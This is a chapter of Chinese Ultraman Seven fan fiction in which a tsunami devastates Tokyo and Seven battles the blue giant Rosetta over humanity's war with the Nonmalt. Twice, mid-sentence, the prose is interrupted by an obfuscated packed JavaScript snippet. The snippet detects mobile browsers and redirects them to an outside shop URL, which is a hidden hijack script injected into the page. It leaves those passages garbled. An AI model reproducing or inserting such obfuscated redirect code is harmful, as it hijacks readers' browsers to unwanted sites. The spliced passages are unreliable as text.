狂潮所过之处,汽车、树木和高楼都被举起,然后摔个粉碎。章鱼怪兽带着海啸来到东京大约三公里的地方,激流沿着大街小巷涌入市区,低层的楼房被淹没,水位线直升到大厦外的巨幕广告屏下,冷冷地荧光倒映在黑色水面上。像是大自然在嘲笑人类不值一提的科技。 潮水涌入涩谷站的地下通道时,一个穿西装的上班族还来不及反应,就被卷入了黑色的漩涡。他最后看见的画面是广告屏幕上赛文红色的身影,他曾经在电视上见过无数次。然后,黑暗吞没了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648381|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一切。此时此刻,所有人的陷入混乱。人们发疯般地往楼顶跑去,寻找任何一艘可能承载希望的“诺亚方舟”。潮水时速千米,一波一波地向陆地推进。万吨巨轮被海水裹卷着撞向堤坝,数以万计的红色集装箱像浴缸里的橡皮鸭子漂流在海面上。人类社会的损失难以估计。 边境靠海的国家以前所未有的反应速度发布避难通知,提示人类往高处逃跑。可是遇见这种程度的天灾,人类还能做出什么样的反抗?处于地底的地球防卫军档案室第一时间就被淹没,防卫军的建筑质量很好,没有倒塌,只是墙面出现裂痕,压强极高的水刃切开钢筋水泥,往大地的空腔里注水。若不是赛文眼疾手快,化身巨人带着所有人离开地下室,此刻人类脆弱的身体已经被涡流搅碎。 “停下,阿勒姆!不要这样做!” 将手中的人们放在东京塔上,赛文急切地向农马尔特人请求。鱼人任凭自己被水淹没,他回到海洋就像回到母亲的羊水,自在而熟稔。他对赛文说:“这不是我一个人的决定,是所有农马尔特人和【人类】共同造成的后果。我看见人类的评论了,他们不是想要战争吗,那我们就给你们战争。” “这是战争么……这是天灾啊……” 面对星球主人的反击,山田喃喃自语,老泪纵横。生存之战就是这样残酷,要么你杀死我,要么我毁灭你。双方都掐着对方的脖子作战,但凡有一刻犹豫就满盘皆输。 人类一败涂地……吗? 赛文出手了。 1分20秒,足够赛文环地球飞行一周,用念力卷起所有溺水的人类,把他们小心地放在高山上。红色的身影像是天上降临的救主,拯救在苦海里挣扎的人类。 ??只是一味地救人没有用,必须让这场大洪水停下。赛文很快做出了判断,他飞向章鱼怪兽盖洛斯,这场巨大仪式的核心,脑海里闪过的却是基耶龙星兽的眼睛。飞行的红色身影带给人类希望,他们喊着:“救救我,赛文!” “我明天还要去上学的,我才刚刚考上大学!” “我的女儿那么小,她有什么错啊!” “我不想死!” “赛文!” “赛文!” “赛文!” “你还是要选择人类吗?” 阿勒姆骑在抹香鲸上,愤怒地大喊。 奥特曼不说话。 奥特曼在战斗。 盖洛斯不是很难对付的怪兽,赛文用冰斧切断怪兽的触手,然后沉默地发出集束射线,将怪兽杀死。巫仪崩溃,海潮慢慢平静。赛文站在水中,艾梅利姆额灯闪烁红光,看着怪兽被切碎的肢体流出红色的血,染红积水,像是红族也在流血。 他终究还是做出了选择。 “赛文是站在我们这一边的,他救了我们!” 幸存的人类又哭又笑,站在高地等待救援。然而比援救来得更快的是人类的怒火,一万三千枚核弹的发射坐标被定为海底城市,从不同的国家,不同的领导者命令中被发射,围剿农马尔特。这些原子弹全都爆炸的话,地球环境也会变得无法居住吧?但是人类无暇思考未来,如果后退就一无所有,人类必须战斗。 “不……” 阿勒姆目眦欲裂,仪式的失败不会返还大巫的生命,这本来就是破釜沉舟的一战,短时间内农马尔特人没办法再支起防御阵法。他还能指望谁,能量不足的赛文吗? 一道十字星状的光芒在海面聚集。 【天使】,降临。 那道披着白光的身影轻轻挥手,咒术编织的蓝色缎带轻盈缥缈,柔柔地缠上飞行中的导弹,她竟然将所有核弹尽数拦截,然后金色的流光闪过,人类最大的武装消失。她慢慢地转向赛文的方向,白纱一样的光从她身上褪去,露出蓝色纤细的身形。 “【天使】……原来是蓝色的巨人。”无数卫星捕捉到海上的画面,人类站在监视器前看着那个神秘的巨人。防卫军本部的最高司令难以置信,一拳砸在控制台上。 “——但是为什么,你要站在人类的对面啊!” 46.惟愿晨星高悬不坠 (46) 海啸虽然停息,暴雨的余韵还未离去,千万颗雨珠从灰色的天空落下,像针线缝合天与地。桐山薰抹了一把脸上的雨水,扒着东京塔的护栏,努力用被雨水模糊的视野去看遥遥相对的两个巨人。 诸星团是他们战友,是赛文,那么【天使】就是和团的过去有关的人。团的科学家学妹,翠星亚理小姐。作为人类,她温柔体贴,用高超的技术帮助了奥特警备队许多次,作为【天使】,她神秘疏离,默默帮助赛文保护人类后就离去。现在,一直遮掩自己样貌的【天使】向人类展露了真容。人类当然可以天真地解读为蓝色巨人开始信任他们,向亲近的朋友展露真正的自己。但是,还有一种解释:她已经对人类失望透顶,为此不惜与自己的同族对立。蒙着脸的悍匪对人质摘下面罩,总不可能是决定去自首,那一定是准备撕票,所以没有伪装的必要了。 亚理小姐——他在心里这样称呼那个蓝色的巨人,你,是打算把看见你的人类全都灭口吗? 桐山薰感到一阵寒意。 额灯闪红的赛文看向罗塞塔。 蓝色的巨人站在海面上,她的脚尖轻触水面,没有漾起一丝波纹。能量编织的缎带缠绕在她的手臂上,绫纱随海风飘摇。她降落时的光柱撕裂天空厚重的云层,洁白角翼上方的云洞露出澄明的微光。一束天光照射在她的身上,为她增添明亮的光彩,如初登舞台万众瞩目的明星。 蓝族神完气足,体力和能量都在最完满的状态。和她相比,能量不足的赛文此刻感到眼前一阵一阵的眩晕。 “罗塞塔,你要做什么?” 红色的巨人问,他用的还是人类的语言,于是此刻噤声屏气聆听的人们都能够听懂。罗塞塔,原来就是那个蓝色巨人的名字。 罗塞塔发出了清澈的声音,她的语气很柔和:“我来阻止你的坠落,赛文。你正在做的事情无法为你的心带来自豪和快乐,所以我站在这里。” “……你要站在农马尔特那边吗?” “因为这也是你想要做的事情呀,赛文。你想拯救人类,也想拯救农马尔特。可是人怎么能同时踏入两条河流呢?你走向人类,那我就走向农马尔特。另一条路我代你去。你来保护人类的存在,我来保护正确的正义。如果人类执意要杀死农马尔特,那人类就是我的敌人了。” “敌人?” “嗯,敌人。”她微笑着说,“如果妨碍我就消灭,如果进犯我就反击,如果为我所恨就杀死。” 赛文难以置信,他在急剧恶化的事态中被迫选择了自己的立场,杀死怪兽已经是他的极限。他保护着人类,做不到对农马尔特下手。纵然他知道,这看似中立的保护立场对于弱势的农马尔特人来说与帮凶无异。如果农马尔特继续攻击,他除了防御什么都不会做,但是罗塞塔的意思很明显,她不是被动挨打的性格。如果人类继续发射武器,她会用奥特曼的力量回应。 奥特曼想要杀死人类实在太容易了。 “不……不该是这样的!”赛文的胸膛剧烈起伏,他踉跄了两步跪下,小腿没入海水中,他颤抖地说:“一直以来,你不是和人类相处得很好吗?你的技术救治了那么多人类,你对遇见的每一个人都很温柔。为什么,现在可以这么轻易地决定毁灭他们?为什么?罗塞塔,你的温柔只是伪装吗?” 蓝色的她依旧笔直地站立着,不为这番称得上是诛心的质问动摇。她的语调依然温柔:“是的,我爱着人类哦。作为个体的人类都是可爱无罪的,可是作为集体的人类不能逃避。他们须直面,他们须承认,他们须悔改,他们须偿还。在洗清原罪后,人类才能够堂堂正正地走向宇宙。这就是我给予人类的,正确的【爱】。” “——什么(美式粗口)正确的爱!别开玩笑了,人类不需要外星人教我们怎么活!”某个监听对话的防卫队基地长官咬牙切齿地说,他重重地拍了一下桌子:“发射所有导弹,农马尔特也好,巨人也好,把这些妨碍人类的异种消灭!” 带着尾焰的导弹划过雨幕,被蓝色的丝带轻易拦截。没有人受伤,但是这场攻击如同火柴红磷上的火星,点燃炸弹的导火索,引发的后果超乎所有人的想象。罗塞塔把这些武器塞进自己的计时器,白色的眼灯漠然地朝发射基地看了一眼。 一丝极为轻微的困扰在她的心底一闪而过,她站在这里,表明了保护农马尔特的立场,可是人类居然妄图对她保护的东西出手。他们是相信巨人绝不会反击,还是觉得人类的力量可以杀死所有遇见的异族?愚蠢,还是傲慢? 她本来很喜欢人类。她现在也很喜欢人类。 无论是哪一种,人类,既然有开战的觉悟,应该也做好失败的准备。在几乎无人发觉的片刻停顿后,她伸出手,一发安乐之声从指尖闪过。那个愤怒的美军长官只看见一道白光在屏幕上越来越近,下一秒光线突破屏幕,整个基地都消失在白色的光焰中。 “罗塞塔!这是不对的!” 赛文没来得及拦截这道毫无征兆的杀招。所有属于人类的卫星都观看到这一场单方面的屠杀,上帝的天谴面对怪兽的时候有多么令人安心,现在就有多么令人胆寒。人类第一次意识到巨人的战斗力,如果他们想要毁灭地表,甚至不需要三分钟。罗塞塔用最纯粹的暴力打破了“巨人=救世主”的等式。一个正在看卫星转播的孩子惊恐地扔掉手上的赛文塑胶,他第一次发现,自己崇拜的英雄,和怪兽一样,会让别人流血。 人类甚至开始恐惧赛文。 赛文听见了,他感到自己的胸口更加疼痛。罗塞塔用杀戮破坏了哥哥们努力和这颗星球人类结下的羁绊,他咬着牙拔出头镖,愤怒地迎上罗塞塔:“你不该杀死他们,他们只是一时冲动。你有想过你会留下什么声名吗?不是光之战士的美名,而是凶名!恶名!暴虐之名!未来我们的同族来到地球,也会被当成凶恶的侵略者的!” “未来?”罗塞塔轻笑一声,“这样的人类也配拥有未来吗?他们不如好好想一想,明天的太阳是否还会升起。” “那你呢?你有权审判人类吗?” “我并非审判者,赛文。我和你一样,都是正在做错事的人啊。” 她一手平举在胸前,一手向前竖起剑指,摆出战斗的起手式。海底的农马尔特城市中,巫族抬头仰望那个正在守护他们的蓝色身影,一种终于被选择的委屈和依赖在心中升起。终于有神看见他们的苦难,愿意给予迟来的正义。 “我们不能让蓝色的神明独自战斗!”农马尔特人虔诚地祈祷,“失乡之人的宿命就是竖起战旗,重返家园。尘世的巨兽们,苏醒吧,夺回我们失去的故土!” 山脉震撼,海潮涌动,怪兽从地球的各个角落出现。 红色的巨人在和蓝色的巨人战斗,人类的军队在和农马尔特使役的怪兽战斗。玛雅人所说的世界末日或许就是今天。世界在燃烧,暴雨无休无止,却无法熄灭战火。在东京塔上的人们望着塔下四处燃起的火光。 三界不安,犹如火宅。 桐山薰直直地盯着两个交谈的巨人,痛苦地握住栏杆,手背青筋暴起。雨幕中传来发动机的声音,飞鹰号从天而降,悬停在他面前。舱门打开,安奴朝桐山队长伸出手:“队长,我来接你了!” 东京塔上的人都登上飞鹰号。山田颤颤巍巍地坐下,他的年纪已经很大了,只是用一股毅力强撑着没有倒下。桐山默默地扶了老师一把,山田看着他,忽然问:“薰,你现在后悔了吗?” “后悔什么?” “把事情闹得这么大,战争,到处都是战争,人类的世界一定会被毁灭。” “是啊,我后悔了。”桐山薰露出了讽刺的笑容,“我后悔为什么没有早一点知道这件事,为什么没有早一点出生。农马尔特的真相要是在更早的时候揭露,人类也不至于孕育出这样可憎的苦果!老师,你没有想过吗?一个真相最应该被揭露的时候就是一开始,越是掩盖就越难收场。数千年,我们有无数次机会认错,何止今天!” “你知道吗?那个正在战斗的红色巨人是我们的战友,团!他是多么善良纯粹的年轻人,因为一颗崇高的心就不停地为人类战斗。现在我们全都背叛了他的正义!” “奥特曼他们明明和这件事情没有任何关系,却要为了人类的罪恶产 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17651353|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生分歧,他们要有多难过啊!老师,我们的过错却要让神一样好的外星人承担,你不感到羞愧吗?” 山田无法直视学生此刻通红的眼睛,那是什么样的一双眼睛啊,里面装满愤怒和悲伤,犹如将死的雏鸟在暴风雨中顽强地展翼。他移开视线,长叹一声:“唉,我们。过去的人们都不是什么好人,可是我们把你教得太好了。我……真的希望像你们这样的孩子能活下去。” “你们(我们)不该为了先祖的过错陪葬,人类的高层一直抱着这样的信念,但是现在说什么都已经晚了。” “不,不会就这样结束的。”一直注视着地面战场的尤里安奴出声,她一直关注着两个巨人的战斗,为两个奥特曼烈度逐渐升级的战斗揪心。她不希望团受伤,也不想亚理妹妹受伤。她犹记得新年夜餐厅洗手池前女孩含情脉脉的眼神。亚理是那样喜欢着团,现在却要和团战斗。团的心里也一定不好受吧。她的声音颤抖,但是很坚定:“无论怎么样,互相争斗是不能迎来和平的。我们必须阻止赛文和罗塞塔战斗,阻止农马尔特和人类战斗,我们所有人都要先活下来!” 罗塞塔在和赛文战斗。 这次不是训练场上点到为止的战斗,她能感觉到,双方都打出了一点真火。赛文没有能量放出集束射线,他犹如缠住猎物的蛇,招招凌厉,用近身格斗缠着她不放。他已经到了极限,每一招都是在用意志压榨自己的身体。 罗塞塔也没有打算蓄力给他放一发【安乐之声】,她没有动用留在赛文身体里的术式控制他,只是用蓝族孱弱的身体战斗,拳拳到肉,时不时用念力干扰一下他。咒术缎带缠绕在她的身上,如同灵活的附属肢体绞杀缠绕。赛文一眼就能看出来,这称不上武器的装备是依照他的礼物编织的。她和他的战斗,不是因为憎恨和失望,只是为了【公平】。 因为赛文选择人类,罗塞塔必须选择农马尔特人。她阻拦赛文,是为了赛文可以毫无顾虑的去偏爱。而代价就是,她必须成为他的阻碍。 “罗塞塔,停下。我们应该一起去阻止战争,我不想和你战斗。” 罗塞塔一个后退闪过划过眼前的冰斧,她说:“你说的阻止就是杀死怪兽,看着人类毁灭农马尔特吗?赛文,你已经成为了人类的武器,我在阻止你,是为了这场地球内战的公平。你从一开始就不应该插手,你的干涉是不公平的。我不容许你的光芒被这份不义玷污。” “和生命比起来,我的光芒不值一提。我希望所有的生命都能够和平相处。我也不希望你为了我失去你的善良,如果你不再【美丽】,那都是我的错误。” “赛文,这不是你的过错,如果说你有罪的话,你的罪孽就是你的爱,农马尔特的冤屈是他们付出了善意。你不该爱人类,农马尔特不该收留人类。文明的道德毁灭了文明,友善的交流毁灭了生命。我说过,文明的交流毫无意义,只会带来伤害。如果交流引发了灾难,宇宙中最好的结局是让所有星星成为孤岛。” 赛文痛苦地劝说:“不,请不要这样说。罗塞塔,我们,光之国,宇宙发展出文明和道德,就是为了不再重复兽性法则。我相信我们的努力不是毫无意义,弱小的人也能昂头挺胸地活下去。再谈一谈,再努力沟通,一定会有办法的。” “啧。” 罗塞塔的手臂被赛文的头镖切开一道伤口,赛文心神巨震。制造伤口的人却比受伤的人还要惊慌,头镖斜飞着掉进海中。在他犹豫的那一秒,流着金色光粒子的创面被灵活的蓝色缎带缠绕掩盖。然后数条柔软的缎带趁机缠住赛文的脖颈和手腕。罗塞塔将掌心的缎带绕了几圈,束缚压制赛文的动作。赛文被迫压进她的怀中,脖间的缎带收紧,带来极强的压迫感,他的眼灯因为窒息开始不稳定地闪烁。罗塞塔喘着气,低头在他的尖耳边轻声说:“哈,是我赢了。我所挚爱的,美丽的晨星啊。” 两个巨人都落入海中,海潮将他们打湿,狼狈不堪。冰冷的天地间,只有相拥的怀抱留存温度。 赛文闭上眼灯。 忽然胸口一痛,金色的光粒子喷溅成雾。罗塞塔低下头,一截银色的头镖自后而前,穿透她的胸膛。